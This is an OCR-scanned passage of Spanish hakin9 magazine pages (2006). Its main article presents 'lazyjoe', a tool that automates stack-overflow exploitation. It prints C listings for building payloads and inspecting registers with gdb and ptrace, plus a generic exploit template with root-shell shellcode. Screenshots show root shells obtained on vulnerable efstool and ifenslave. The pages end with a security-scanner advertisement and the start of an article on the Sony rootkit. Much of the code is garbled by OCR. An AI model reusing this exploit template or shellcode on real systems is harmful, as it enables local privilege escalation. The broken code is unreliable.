%ebp (4 bytes)

»
'

Los datos siguen este camino

%eip (4 bytes)

>

El puntero extendido de instruccién contiene la instruccion a ejecutar

El puntero de marco contiene la siguiente instruccién a ejecutar

. Este espacio no importa realmente

. Nuestro argumento en la pila

Figura 1. Panoramica conceptual de una operacion de copia no segura

posible iniciador

NO

ERROR_AL_ABANDONAR

nivel diferente

‘ smash_inspect (prog,arg);|

Figura 2. Tabla del algoritmo de creacion de cargas utiles 1

$ ./a.out hakin9

Has escrito: hakin9

Hay una posibilidad de que en lugar
de invocar printf() CON argv(l] CO-
mo parametro, se declare un buffer
intermedio, un conjunto de caracte-
res. Entonces, argvi1] se copia en
el buffer, y printf() usa este buffer
como parametro, esperamos que
con la cadena de formato apropiada.
Hay una posibilidad también de que
argv[l] Se copie en ese buffer de
forma no segura. ;Qué sucedera si
seguimos alimentandolo con entra-
das cada vez mayores?

$ ./a.out ‘perl -e ‘print "A" x 50"
Has escrito: ARAAAAA .. RAA

Fallo de segmentacién (core dumped)

Se colgé, y produjo un core. Sin em-
bargo, muchas distribuciones de Linux
no producen archivos core, asi que
podemos activar esto escribiendo:

$ ulimit -c unlimited

Asi hemos permitido la produccién
de archivos core de tamarfio ilimi-
tado. De vuelta a nuestro ejemplo,
el hecho de que haya producido un
core significa que, claramente, se
ha utilizado un buffer intermedio, en
el que argv(1] ha sido copiado de
forma no segura. Utilizando gadb, el
depurador GNU, podemos ver la ins-
truccion que ha causado el error.

$ ./gdb -c core ./a.out | grep \#0
#0 0x41414141 in 22 ()

hakin9 N° 2/2006
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Listado 1. Subsistema de creacion de cargas utiles

char *make payload(char *buffer, int policy, LINT num)
// policies:

// _APPEND ~ append $num 'A'[s]

// _REMOVE ~ remove $num 'A'[s]

{

char *my buffer;

LINT i, len = strlen(buffer);

if ( policy == APPEND ) {
if ( ! (my buffer = (char *)malloc( len + num + 1 )) )
fprintf (stderr, "[!] make payload(): malloc() append error.\n");

exit (EXIT_FAILURE);
CLEAR (my_buffer);

if( len != 0 )
for( i = 0; 1 < len; i++ )
my buffer[i] = * (buffer++);

for( 1 = len; 1 < len + num; i++ )
my buffer[i] = 'A';

my buffer[i] = 0x00;

!
1]

if ( policy == REMOVE ) {
if ( ! (my _buffer = (char *)malloc( len - num + 1)) )
fprintf (stderr, "[!] make payload(): malloc() remove error.\n");

exit (EXIT FAILURE);
CLEAR (my buffer);

for( i =0; 1 < len - num; i++ )
my buffer(i] = *(buffer++);

my buffer[i] = 0x00;

return my buffer;

1
)

\

INICIO

Sl NO

posible iniciador 1 posible iniciador 2

ERROR_AL_ABANDONAR

Y

[ |

Figura 3. Diagrama del algoritmo de creacion de cargas utiles dos
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Esto tiene sentido, ya que 0x41 es el
equivalente hexadecimal de A. La Fi-
gura 1 nos da una visién conceptual
mas detallada.

El puntero de instruccion ha sido
sobreescrito con una direccion no
valida, lo que ha llevado a un error
(véase también el articulo Desborda-
miento de la pila en Linux x86, dispo-
nible en la web de hakin9.org).

En lugar de proporcionarle
cincuenta A's, podriamos haber en-
contrado la distancia exacta hasta el
final de sebp, llenar esa distancia de
A’s y luego dar una direccién valida.
De este modo podremos controlar
el flujo del programa ejecutado de
tal forma que ejecute codigo que
nosotros le proporcionemos. Mejor
aun, esto puede hacerse de forma
automatica.

Recogida de
Informacion

En este punto hemos de mencionar
que la informacion que nos interesa
de un ejecutable es el numero de
argumentos, que nos da el camino
para manipular el seip, y la distan-
cia para cada valor de la longitud
del ajuste del argumento, dandole
una carga para el buffer que vaya
creciendo de forma incremental.
Después, tenemos que observar
el valor del puntero de instruccion
y decidir el grado en que ha sido
afectado por nuestras entradas.
Si el ejecutable es vulnerable,
veremos tres estados diferentes
durante nuestro examen. Los si-
guientes tres estados se produciran
en secuencia:

» Puede suceder multiples veces
que presente un valor que no se
corresponda con una alternancia
del puntero de instruccion.

* Un valor que corresponda
a una sobreescritura parcial del
puntero de instruccion aparece
una sola vez, y sabemos que
el siguiente intento corres-
pondera al tercer estado. (ej.:

nivel diferente 0x0 0414141)_
| smash_inspect (prog,arg); + Un valor que corrresponda a una

sobreescritura total del puntero
de instruccion (ej.: 0x41414141).
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Es importante resaltar que una
sobreescritura parcial con éxito
corresponde a la alteraciéon de tres
de cuatro de los bytes del zeip. La
direccién oxprffa141 no puede ser
asumida como sospechosa para so-
breescritura parcial, porque es una
direccién de senalizacion del stack
valida. La direccion oxbf414141, Sin
embargo, es mucho mas sospecho-
sa, porque es muy raro que el stack
alcance semejante tamafo. Aunque
la dltima implementacion incorpora
este asunto, no seria mala idea
asignar valores constantes de peso
para indicar la cantidad posible de
sobreescritura deliberada y su grado
de peligrosidad.

Algoritmo de Creacion
de Carga Util 1

El subsistema que es responsable
de la creacion de payloads — car-
gas utiles — no hace nada mas que
crear buffers llenos de A’s cuando
se lo pedimos. Una de las ideas
basicas para producir este tipo de
cargas utiles es la técnica de la
fuerza bruta. Crearemos buffers de
todas las longitudes posibles, que
se probaran de uno en uno hasta
que se haga un signo de alternan-
cia o hasta que lleguemos al rango
maximo posible de la prueba de
longitud del buffer. Si el argumento
es vulnerable y nuestro rango de
pruebas esta en el mismo rango,
entonces podremos ver con seguri-
dad la alternancia deliberada.

La Figura 2 describe este al-
goritmo de incremento de uno en
uno. La creacion de buffers incre-
mentales, cuando el incremento es
solo de un byte, tiene sus ventajas
y desventajas. Una de las ventajas
es que reduce la complejidad de
programacion lo que repercute
en el tiempo de computacién. De
hecho, ofrece una implementacion
mas abstracta. Si el incremento
es mayor que una simple A, eso
aceleraria el proceso, pero intro-
duciria conflictos con nuestros
tres estados de =:eip posibles.
Recordemos que una alternancia
se categoriza como deliberada tan
so6lo si los cuatro bytes de zeip han

y awk

//returns: -2 ~ error interno

char tmp[512], bufresponse[64];
int inspec _val, 1i;

FILE *fd;

u_long address;

close(2); // gdb prints to stderr
if( (fd = fopen (CMDF, "w+")) == NULL
ttyd = open("/dev/tty", O RDONLY);
fflush (stderr) ;
return -2;
fprintf (fd, "r ");
for(i = 0; 1 < arg - 1; i++

fprintf (fd, "foo ");

fprintf (£d, "%$s\nquit\n", buffer);
fclose (fd);

CLEAR (tmp) ;

system (tmp) ;
unlink (CMDF) ;

CLEAR (bufresponse) ;

if( (fd = fopen( RETF, "r")) == NULL
ttyd = open("/dev/tty", O RDONLY);

fflush (stderr) ;
return -2;
fgets (bufresponse, 63, fd);

fclose (fd);

if (verbose)

Continua en la pagina siguiente
o

// -1 ~ no es util
// 0 ~ definitivamente util
// 1 ~ probablemente util

fprintf (stderr, "[!] ejecutar e inspeccionar 1()

comandos gdb.\n");

fprintf (stderr, "[!] ejecutar e inspeccionar_ 1()

address = strtoul (bufresponse, 0, 16);

Listado 2. Subsistema de ejecucion e inspeccion utilizando gdb, grep

int exec_and inspect 1(char *buffer, int arg, char *vulnfile)

)

error creando archivo de

snprintf (tmp, 511, "%s %s --command=%s|%s Ox | %s {'print $1'} > %s",
GDB, vulnfile, CMDF, GREP, AWK, RETF);

error de lectura en

archivo de salida gdb.\n");

fprintf (stdout, "-> Buffer len: %$1d\n", strlen(buffer));

/

sido alterados y si tres de cuatro de
los bytes han sido alterados en el
intento anterior. El Listado 1 es una
implementacion del subsistema de
creacion de cargas utiles como un
componente completamente reutili-
zable.

Dado que el cédigo del Listado 1
utiliza mal1oc() para situar un buffer

y después le asigna un puntero, de-
beria ser liberado de algin modo.
Esto puede hacerse de la siguiente
forma:

char *p;
p = make_payload("foo",
_APPEND, 1);

free(p);
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y awk (continuacion)

switch( address_status( address ) )
// 0x41414141
)

case 0:
if( flag ==

if (verbose)

fprintf (stdout,

printfixed (address) ;
inspec val = 0;

else {
// 2 casos.

if (verbose)
fprintf (stdout,
printfixed (address) ;

inspec val = -1;

break;
case 1:
// vamos a sobreescibir el

// interesante, deberiamos
flag = 1;

if (verbose)
fprintf (stdout,

printfixed (address) ;

inspec val = -1;
break;
case -1:
if (verbose)
if (address)

printfixed (address) ;

else
fprintf (stdout,
inspec_val = -1;
break;
default:
fprintf (stderr,
_2;

"]
inspec val =

}

unlink (RETF) ;

return inspec val;

"-> %%eip status: definately smashed.

"-> %$%eip status:

// comprobacién rdpida machacd 3/4

// forzar una ronda adicional para

fprintf (stdout, "-> %%eip status: no machacado.

"-> %%eip status: no machacado

Listado 2. Subsistema de ejecucion e inspeccion usando gdb, grep

//si los 3 1lsb han sido previamente sobreescritos

")

// eip machacado con el primer intento, esto significa

// 1st: gdb -el comando indica direccidn equivocada,
// debemos saltarnoslo
// 2nd: comprobacién rdpida encontré un buffer vulnerable

probablemente machacado. ");

// 3 1sb han sido sobreescritos

%eip en el siguiente intento o

del %eip.

asequrarnos.

"-> %%eip status: parcialmente machacado. ");

")

(inaccesible)\n");

I shouldn't be here.\n");

Algoritmo de Creacion
de Carga Util 2

En lugar de incrementar la carga
util con una simple A, también es
posible incrementarla con bloques
de A’s. Sin embargo, ello entra en
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conflicto con nuestros tres posibles
estados zeip y por ello no se ha
incorporado a la herramienta. Para
ser mas exactos, hay una conside-
rable probabilidad de que nunca se
alcance el estado 2, lo que choca
con el flujo actualmente definido

de estados internos. A la hora de
crear buffers con bloques de A’s,
el valor mas eficiente parece ser
tres A’s por bloque, en términos de
velocidad. Mas especificamente, el
valor ideal es producido por esta
férmula:

block len = word size(
%$eip size in bytes) - 1 <=> (1
block_len = 4 - 1 <=>

block len = 3

Esto nos da tres escenarios de so-
breescritura de :zeip posibles. Uno
de los casos mas interesantes tiene
lugar cuando seip es completamen-
te sobreescrito y la longitud de la
carga util no esta bien ajustada a la
distancia precisa. En ese momento,
el subsistema de produccién de la
carga util producira cargas utiles
decrecientes. En este caso, el es-
tado 3 pasa a tener la prioridad del
estado 2, y viceversa.

En resumidas cuentas, este
meétodo nos proporciona velocidad,
pero incluye generacion de cargas
utiles de forma normal y de forma
decreciente (véase Figura 3). Con
una categorizacion de criterios
apropiada para la alternancia de
seip, Seria un método ideal de
producir cargas utiles mediante el
uso de bloques fijos. Hemos de
recordar que este algoritmo no ha
sido incorporado al cédigo de la he-
rramienta, asi que, si este articulo
te provoca interés, seras tu quien
pueda desarrollarlo de forma efec-
tiva y eficiente.

Algoritmo de

Inspeccion 1

El sub-sistema de ejecucién e ins-
peccion es, de lejos, el componente
mas valioso de esta herramienta,
porque contiene un sencillo motor
de decisiones. Su rol no es tan
pasivo como el del sub-sistema de
produccion de cargas Uutiles. Este
sub-sistema es responsable de la
ejecucion de la aplicacion vulnera-
ble con la carga util construida en
el argumento relevante, y decide de
acuerdo con el valor seip si el efecto
deseado ha tenido lugar. El proceso
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de toma de decisiones se consigue
a través de una lista de heuristicas
priorizadas, que tienen la forma de
sencillas frases if-then.

Una forma muy répida (y sucia)
de desarrollar este componente es
usando las herramientas de linea
de comandos gdb, grep y awk.
Debe producirse un comando vali-
do, y con la ayuda de los pipes se
podra extraer informacion sensible.
El Listado 2 pone en practica esta
técnica.

La carga util y el argumento que
vamos a probar se proporcionan
como parametros de funcion (véa-
se Listado 2). El principio general
del disefio adoptado por el autor
es devolver los codigos de gestion
a la capa anterior (llamada Nivel
Textual), lo que implica lo mismo pa-
ra la anterior. Este disefio en forma
de arbol ofrece una gran flexibilidad.
Su ventaja es que proporciona una
gran velocidad para las pruebas. Sin
embargo, esta muy atada a aplica-
ciones de terceros, cuya integridad
es desconocida.

Algoritmo de

Inspeccion 2

Una segunda implementacién
potencial de un subsistema de
ejecucion e inspeccion podria
basarse en la llamada de sistema
ptrace(). Proporciona un buen
conjunto de caracteristicas de bajo
nivel, algunas de las cuales vamos
a utilizar. Después de todo, ptrace
permite que un proceso controle
la ejecucion de otro. El proceso
controlado se comporta de forma
normal, hasta que se le da una
sefal. Invocaremos ptrace() con
PTRACE _TRACEME como el valor de
la peticion para permitir tomar el
control de un proceso hijo. El pro-
ceso posterior sera creado, usando
fork(). PTRACE _ GETREGS se usara
para obtener todos los valores de
registro con una estructura de
registro apropiada, ayudandonos
a inspeccionar el seip. Finalmente,
PTRACE _SINGLESTEP NOS ayudara
a encontrar la instruccion malicio-
sa. La implementacion correspon-
de al Listado 3.

_

Listado 3. Subsistema de ejecucion e inspeccion usando la llamada de
sistema (syscall) ptrace

int exec_and inspect 2 (char *buffer, int arg, char *vulnfile)
// returns: -2 ~ error interno
// -1 ~ sin éxito

// 0 ~ éxito :)

REGISTERS regs;

pid t pid;
int inspec_val = -1, wait val, i = 1;
LLONG counter = 0;
char *args [MAX ARGS] = {NULL};
args([0] = "lazyjoe";
for(i = 1; 1 <= arg - 1; i++)
args[i] = "foo";

args[i] = buffer;
args[i+l] = NULL;

switch( pid = fork() )
case -1:
return -2;
break;
case O0:
ptrace (PTRACE_TRACEME, 0, 0, 0);
execv (vulnfile, args);
break;
default:
wait (¢wait val);
if (verbose)
fprintf (stdout, "-> Buffer len: %1d\n", strlen(buffer));
while (wait val == 1407) {
counter++;

counter_tot++;

if ( ptrace (PTRACE GETREGS, pid, 0, &regs) != 0 )

fprintf (stderr, "[!] ptrace(): error obteniendo registros.\n");
fflush (stderr) ;

return -2;
if ( ptrace (PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) {

fprintf (stderr, "[!] ptrace(): error reiniciando.\n");

fflush (stderr) ;

return -2;

if (verbose)
fprintf (stdout, "-> eip: %8x\r", regs.eip);
fflush (stdout) ;

if( regs.eip == 0x41414141
if (verbose)
fprintf (stdout, "-> Numero de instrucciones en esta ronda: %1d\
n", counter);
fprintf (stdout, "-> Numero total de instrucciones: %1ld\n",

counter_tot);

inspec val++; //0
kill (pid, SIGKILL);

wait (&wait _val);

return inspec val;
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Figura 4. Cooperacion de componentes funcionales

Direccion de la pila Entidad
0xc0000000
N Oxbfffffff 4 NULLs
Oxbfffffff
Oxbfffffff prog_name
env[n]
env[n-1]
\/

Figura 5. El fondo del stack de Linux

Tamafo

4 bytes

strlen(prog_name) +1

strlen(env[n])

strlen(env[n-1])

-
Listado 4. Un patrén genérico de codigo de exploit

// our binary
#define BIN "nuestro binario vulnerable"

// valor hipotético. Puede obtenerse usando

#define NUM 44
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2£f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
"\x31\xc0\x31\xdb\x40\xcd\x80";

int main (void)

{
1

// nuestra estructura de entorno
char *env([2] = {shellcode, 0};
char buffer[NUM + 5];

// nuestra férmula incorporando el shellcode

memset (buffer, 0x41, NUM);
*((long *) (buffer + NUM)) = ret;
buffer [NUM + 5] = 0x00;

execle (BIN, BIN, buffer, 0, env);

return 0;

// produccién de carga util - algoritmos de ejecucién e inspeccidn

unsigned long ret = Oxbffffffa - strlen(shellcode) - strlen(BIN);

// esta linea se construye desde el subsistema de generacién de exploits

// para incluir cualquier otro argumento posible ademds de la carga util

hakin9 N° 2/2006
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Cooperacion dirigida
por los resultados

Uniendo

Figura 6. Un meta-modelo
abstracto de todo el sistema

Vemos que la implementacion
del Listado 3 no respeta la se-
cuencia de 3 estados. Esto es asi
porque esta técnica no trabaja con
manipulacion de cadenas, como
la anterior, sino que interactua di-
rectamente con los valores del re-
gistro. Tanto esta técnica como la
otra obtienen la misma informacion
como parametros, y producen los
mismos codigos de error en deter-
minadas situaciones.

Esta técnica por lo general
consume mucho tiempo y no debe-
riamos confiar en ella para grandes
valores de buffer. Aunque no es su-
ficientemente rapida, si se usa en
modo detallado es muy interesante,
porque imprime todos los valores
de las instrucciones que seip ha
pasado durante el tiempo de las
pruebas. Estamos hablando de mi-
llones de instrucciones, e incluso
mas, asi que no es recomendable
almacenarlas. Estas instrucciones
pueden wusarse para identificar
patrones del marco del stack, ayu-
dandonos a analizar el ejecutable
en mayor profundidad.
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Informacion de las

pruebas

Las pruebas fueron realizadas en un
ordenador portatil Acer, con CPU Intel
P4 2.0 GHz y 128 MB de memoria
RAM compartida. El sistema operativo
era Mandrake 9.0 (Dolphin) ejecutan-
dose desde Vmware Workstation. Las
aplicaciones examinadas estaban dis-
ponibles como paquetes de los CDs de
instalacion de Mandrake 9.0.

Cooperacion entre
componentes

funcionales

Si aun no ha quedado claro, la
consistencia de las acciones de la
herramienta depende mucho de una
cooperacion bien disefiada entre los
subsistemas. Los dos subsistemas
centrales se comunican entre si en-
viando cédigos de gestion a la capa
de gestion intermedia, la funcion
find _dist() (véase el cédigo fuente
para su uso practico). Su coope-
racion dirigida por los resultados
obtenidos se representa conceptual-
mente en la Figura 4.

El médulo que lleva el numero 7
en la Figura 4 es responsable de la
identificacion del estatus del zeip,
basandose en su sdlida heuristica.
Asi es como tiene lugar el proceso
de toma de decisiones y, por tanto,
puede averiguarse la distancia pre-
cisa.

El cédigo de exploit
Hasta ahora hemos visto cémo lo-
calizar la distancia precisa a través
de un argumento vulnerable. Lo que
sigue a continuacion es el subsiste-
ma de generacion de exploits, cuyo
concepto se entenderia mejor exa-
minando la teoria.

Un codigo de exploit es un pe-
dazo de codigo concebido para el
propdsito que su nombre indica, ex-
plotar o aprovecharse de una situa-
cion. Esta situacion es una debilidad
en la programacion, y al menos en
lo que respecta a este articulo, es
una sobrecarga de argumentos lo-
cal basada en el stack. Explotando
esta debilidad podemos ejecutar

[rootBelite latestl# .-lazyjoe -e -usr-sbinsefstool -o efsxploit -1 29568
[+] Pipes mode is on.
[+] Testing executable -susr-bin-efstool.

[+] Testing argument 1

[+]1 All appropriate tools found.

[+]1 Trying fast cheking to save time.

[+] Fast checking assumes buffer is vulnerable.

[+] Starting detailed test.

[+] Binary seems to be vulnerable at argument 1.
[+] Magic distance found to be 2684.

[+] Exploit code efsxploitl.c written successfully.

[+] Total testing time: 411.67173200 seconds.

[rootBelite latestl#t gcc efsxploitl.c ! .sa.out

sh-2.85b# _

Figura 7. Probando efstool usando el modo pipes

[rootl@elite latestI#
[+]1 Pipes mode is on.
[+]1 Testing executable ssbinsifenslave.

.»lazy joe -e ssbhinsifenslave -o ifenploit -n 1

[+] Testing argument 1

[+] All appropriate tools found.

[+] Trying fast cheking to save time.

[+]1 Fast checking assumes buffer is vulnerable.

[+] Starting detailed test.

[+] Binary seems to be vulnerable at argument 1.
[+] Magic distance found to be 44.

[+] Exploit code ifenploitl.c written successfully.

[+] Total testing time: 8.81186900 seconds.

[root@elite latestl# gcc ifenploitl.c : .-a.out

sh-2.05b# _

Figura 8. Probando ifenslave usando el modo pipes

[rootR@elite latestl#t .-lazyjoe -e -sbinsifenslave -o ifenploit -m 2 2>-dev-/null
[+]1 Ptrace() mode is on.
[+]1 Testing executable ssbin-sifenslave.

[+] Testing argument 1

[+]1 Trying fast cheking to save time.

[+]1 Fast checking assumes buffer is vulnerable.

[+] Starting detailed test.

[+]1 Binary seems to be vulnerable at argument 1.
[+] Magic distance found to be 44.

[+] Exploit code ifenploitl.c written successfully.

[+] Total testing time: 457.98031800 seconds.

[rootBelite latestl#t gcc ifenploitl.c : .- a.out

sh-Z.85b#t _

Figura 9. Probando ifenslave usando el modo ptrace

Tabla 1. Representacion cuantitativa del rendimiento en binarios
especialmente construidos

Argumento | Buffer Vulnerable

Vulnerable

1 128 bytes 20.41136200 sec n/a

8 32 bytes 7.79432000 sec 45713281000 sec
5 16 bytes 5.24972400 sec  339.47941600 sec
20 16 bytes 7.66579100 sec  479.69758100 sec

comandos de nuestra eleccion. Es-
tos comandos son la famosa parte
shellcode del codigo del exploit. Se
llama asi porque ejecuta una nueva
shell. Son presentadas en forma de

codigo maquina que parece una
secuencia hexadecimal (véase el
articulo Optimizacion de los shell-
codes en Linux, que esta disponible
en la pagina web de hakin9.org).

www.hakin9.org
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Coémo escribir shellcodes queda
fuera de este articulo, asumiremos
la existencia de un shellcode que
crea una shell, usando la siguiente
secuencia de comandos:

setuid(0);

execve ("/bin/sh", 0);

exit (0);

Nuestra idea es enviar al progra-
ma vulnerable una secuencia de
bytes de basura, hasta que se haya
alcanzado una distancia determina-
da. Esta distancia es el principio del
puntero de instruccion (zeip) que
sera sobreescrito con una direc-
cién valida que se dirija a nuestro
shellcode. Esta es una parte in-
tesante. ;Coémo podemos saber,
de forma clara, la direccion donde
se encuentra nuestro shellcode?
¢Podemos encontrar una férmula
que nos dé una direccion univer-
sal valida? ;Podemos esquivar la
necesidad de informacion especi-
fica relativa a nuestra distribucién
de Linux particular? La respuesta
a estas cuestiones se encuentra
al introducir un patrén genérico de
codigo de exploit.

El método de Impacto

Directo
Mientras intentamos establecer un
patrén genérico de cédigo de exploit,
nos encontramos con el stack. El
stack esta estructurado de tal forma
que nos ayuda a encontrar una for-
mula universal. La parte superior del
stack varia dependiendo de nuestro
programa. Sin embargo, la ultima di-
reccion valida que apunta al espacio
del stack es fija, y es oxbrreeees. La
Figura 5 muestra el fondo del stack.
Los datos son ejecutados de
abajo hacia arriba, mientras que el
stack crece de arriba hacia abajo.
El entorno se encuentra a una
distancia fija del fondo del stack,
y podemos encontrar su objeto
enésimo (nth) con la ayuda de
la Figura 5. La férmula del objeto de
entorno nth es:

address = Oxbfffffff - 4

- ( strlen(prog_name) + 1)

- strlen(env([n]); (2)
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En actualidad trabaja en una disertacion sobre un tema relacionado con los

lo que equivale a:

address = Oxbffffffa
- strlen(prog_name)

- strlen(env([n]); (3)

El entorno parece el lugar ideal para
situar nuestro shellcode. Podemos
poner nuestro shellcode dentro de
una estructura de entorno y ejecutar
el binario vulnerable utilizando el en-
torno anderior. Esto puede hacerse
usando cualesquiera de las funcio-
nes execve () 0 execle () dado que su
ultimo parametro es una estructura
de entorno. Este método no requiere
ningun opcode nop (0x90) ya que
apunta directamente al shellcode en
el stack.

Ensamblando la

informacién recogida
Hasta la vista, y gracias por todo
el pescado (Douglas Adams, Guia
del Autoestopista Galactico, 1984).
Habiendo ya identificado la distancia
hasta el comienzo del seip y, con
algo de suerte, nuestra férmula,
podemos crear el patrén del cédigo
de exploit. Un uso eficiente deberia
parecerse al que se detalla en el
Listado 4.

Toda la informacién apropiada
se declara usando #deiine. Esto es
importante, porque de esta forma

podemos tener la mayor parte de
nuestro exploit en estado hard-co-
ded sin tener que alterar nada mas
que los segmentos #define. Haciendo
esto, la funcién que genera el cédigo
de exploit se usara lo minimo posi-
ble. Pruébalo, y veras como no te
disgusta.

En la Figura 6 podemos ver una
panoramica de todas las etapas que
tienen lugar durante la ejecucion de
la herramienta.

Ejemplos

del Mundo Real

El 26/05/2003 se encontré un
buffer overflow en la versiéon 0.0.7
de un programa llamado ifenslave
(véase Bugtrag ID 7682). Parecia
ser una sobrecarga del stack local
causada por el primer argumento.
El mismo problema se detecté en
EFSTool. Esta ultima se determind
como vulnerable frente a una so-
brecarga del stack el 29/01/2002
y la mayor parte de las distribucio-
nes RedHat y Mandrake contenian
la version vulnerable (véase Bug-
traq ID 5125).

Tras instalar estas aplicaciones,
veamos si lazyjoe puede preparar un
exploit. Las Figuras 7, 8 y 9 mues-
tran a lazyjoe examinando /usr/bin/
efstool y /sbin/ifenslave con éxito. ®

-
En la Red

todo del impacto directo,

ce,

traq.

*  http://www.enderunix.org/docs/eng/bof-eng.txt — articulo sobre sobrecargas,
»  http://packetstormsecurity.org/groups/netric/envpaper.pdf — articulo sobre el mé-

*  http://linuxgazette.net/issue81/sandeep.html — rastreo de procesos usando ptra-

»  http://www.securityfocus.com/bid/5125 — informacién sobre EFSTool Bugtragq,
*  http://www.securityfocus.com/bid/7682/info — informacién sobre ifenslave Bug-
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SAFETY LAB SHADOW SECURITY SCANNER

Safety Lab Shadow Security Scanner es un escéner
proactivo de vulnerabilidades para redes de orde-
nadores con mas de 4000 auditorias. Es una nueva
generacion de software de alta tecnologia (escaner
de vulnerabilidades de red) que ha funcionado muy
bien durante el siglo XX y sigue estando en cabeza
en el nuevo milenio. Shadow Security Scanner (es-
caner de vulnerabilidades de red) ha conseguido
ser el mas rapido — y mas eficiente — escéner de
seguridad en su sector de mercado, por encima de
otra marcas mas conocidas.

Shadow Security Scanner se ha desarrollado
para conseguir una deteccidon segura, rapida y
eficaz de los agujeros de seguridad del sistema.
Después de realizar un escaneado del sistema,
Shadow Security Scanner analiza los datos reco-
gidos, localiza vulnerabilidades y posibles errores
en los ajustes del servidor, y sugiere formas de
solucionar los problemas. Shadow Security Scan-
ner utiliza un algoritmo muy especial de andlisis
de seguridad del sistema, basado en un Nucleo
Intelectual patentado. Shadow Security Scanner
escanea el sistema con tal velocidad y precision
que es capaz de competir con los sistemas pro-
fesionales de seguridad IT y con los hackers que
intentan asaltar tu red.

Ejecutdndose desde su plataforma nativa,
Windows, Shadow Security Scanner también es-
canea servidores construidos en casi cualquier
plataforma, identificando problemas en Unix,
Linux, FreeBSD, OpenBSD, NetBSD, Solaris, y por
supuesto Windows 95/98/ME/NT/2000/XP/.NET.
Por su arquitectura especial, Shadow Security
Scanner es el Unico escaner de seguridad en el
mundo capaz de detectar problemas en CISCO, HP,
y otros equipos de red. Es el Unico escaner co-
mercial capaz de realizar mas de 4000 auditorias
para cada sistema.

En la actualidad, se soportan los siguientes
servicios: FTP, SSH, Telnet, SMTP, DNS, Finger,
HTTP, POP3, IMAP, NetBIOS, NFS, NNTP, SNMP,

Contacto:

Safety-Lab

Correo Electrénico:
info@safety-lab.com
http://www.safety-lab.com/en

Squid (Shadow Security Scanner es el Unico escé-
ner que realiza auditorias a los servidores proxy
— otros escaneres sélo verifican la disponibilidad
de puertos), LDAP (Shadow Security Scanner es
el Unico escéner que analiza servidores LDAP
— otros escéaneres limitan sus acciones al ve-
rificado de puertos], HTTPS, SSL, TCP/IR, UDP, y
servicios de Registro. Por su arquitectura abierta
(basada en ActiveX], cualquier profesional con
conocimientos de VC++, C++ Builder o Delphi
puede expandir con facilidad las capacidades
del escéner. La tecnologia ActiveX permite que
los administradores de sistema puedan integrar
Shadow Security Scanner en cualquier producto
que soporte ActiveX.

Como este producto proporciona acceso direc-
to a su nucleo, puedes usar las API (para mayor in-
formacion, véase la documentacion de las API) para
conseguir control total de Shadow Security Scanner
o0 cambiar sus propiedades y funciones. Aunque no
seas un programador profesional, si tienes un co-
nocimiento basico de redes de ordenadores y has
encontrado un nuevo agujero de seguridad, puedes
contactar directamente con Safety-Lab o utilizar el
mecanismo automatico BaseSDK wizard: te guiara
a través del proceso de creacién de auditorfas nue-
vas. BaseSDK te permite afiadir mas del 95% de los
nuevos tipos de auditorfa.

El editor de Reglas y Ajustes sera esencial
para los usuarios que sélo deseen escanear ciertos
puertos y servicios sin perder tiempo y recursos
en la verificacién de otros servicios. Los ajustes
flexibles permiten que los administradores del
sistema gestionen la profundidad de los anélisis y
otras opciones para beneficiarse de un escaneado
de red optimizado para ganar velocidad sin pérdida

alguna en la calidad.

La funcién de escaneado de red mdltiple y
simultaneo (hasta 10 equipos por sesion) se ha
incluido para mejorar la velocidad total.

Otra capacidad Unica de este escaner es la
posibilidad de grabar el registro de la sesion de
escaneado no sélo en el formato HTML tradicional
(el disponible en el 99% de los otros escaneres),
sino también en los formatos XML, PDF, RTF y CHM
(HTML compilado).

El nuevointerfaz es sencillo para el usuario, op-
timizado para un mas facil acceso a las funciones
principales del programa. La gestién de las opcio-
nes de Shadow Security Scanner es mas sencilla
ahora: todos los elementos claves tienen ventanas
emergentes de ayuda con una descripcién concisa
de sus funciones.

El gestor de actualizaciones (Update Wizard)
proporciona las actualizaciones regulares de los
mddulos ejecutivos del programa con las ultimas
informaciones de seguridad disponibles, garanti-
zando una proteccién sélida de tu sistema y una
gran resistencia a ataques. Safety-Lab ha afadido,
en este nuevo producto, acceso directo a su ser-
vicio de Expertos en Seguridad de Internet y a un
Area de Descarga actualizada diariamente.

4 )

jAtencion!

Safety Lab ofrece a los lectores de la revista hakin9
la versién completa de Shadow Security Scanner,
limitada a 5 direcciones IP. Para recibir la oferta gra-
tuita, necesitas instalar la version que estd dispo-
nible en hakin9.live, y enviar un correo electrénico
a support@safety-lab.com poniendo en el asunto
hakin9-Safety-lab SSS offer y recibiras los cédigos
para la oferta gratuita. La oferta es valida hasta el 31
de Mayo de 2006.

Publicidad
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Sony, un rootkit
y el quinto poder

Michat Piotr Pregowski ;

Grado de dificultad
o

odo sucedié muy rapido. El 31 de oc-
I tubre en el blog de Mark Russinovich
(ver Recuadro En la Red) aparecio la
primera informacion acerca del rootkit de la
Sony, y sélo unos cuantos dias después el
mundo entero estaba indignado. El 10 de oc-
tubre, la empresa Kaspersky Lab informaba
acerca del descubrimiento del primer gusano
que explotaba este rootkit y, unos dias des-
pués, el gigante multimedia tuvo que detener
temporalmente la venta de discos CD prote-
gidos con la controvertida tecnologia XCP
(Extended Copy Protection) — oficialmente,
a fin de analizarla desde el punto de vista de
su seguridad y facilidad de uso. A los inter-
nautas les quedé un mal sabor, pero también
algo mas importante: la conciencia de que si
se expresan con una misma voz y juntando
sus fuerzas, seran escuchados.

Recordamos la historia bastante bien.
Russinovich, redactor de Windows IT Pro
e ingeniero informatico de la empresa Winter-
nals Software, descubrid un rootkit no iden-
tificado en su ordenador y, a través de todo
un proceso de deduccion, logré identificar
a su creador, la empresa First4Internet.
La herramienta malévola habia sido utili-
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( Mas de 500 mil ordenadores infectados, un escandalo internacional
y numerosos procesos judiciales son el efecto de la introduccién
por parte del consorcio Sony BMG de software espia en sus discos
musicales, lo cual fue puesto en evidencia por especialistas de
seguridad en Internet. Una vez mas queda demostrada la efectividad
y rapidez de este medio de comunicacion.

zada en la tecnologia XCP, adquirida de la
First4Internet por diversas companias. XCP,
con el rootkit integrado, fue utilizada por Sony
BMG Music en varios de sus titulos, uno de
los cuales sirvié precisamente para infectar el
ordenador de Russinovich. Luego se desato
el infierno, todos comenzaron a hablar del
rootkit de la Sony y de la saga del rootkit de
la Sony BMG.

Demasiados errores
La lista de los errores cometidos por la Sony
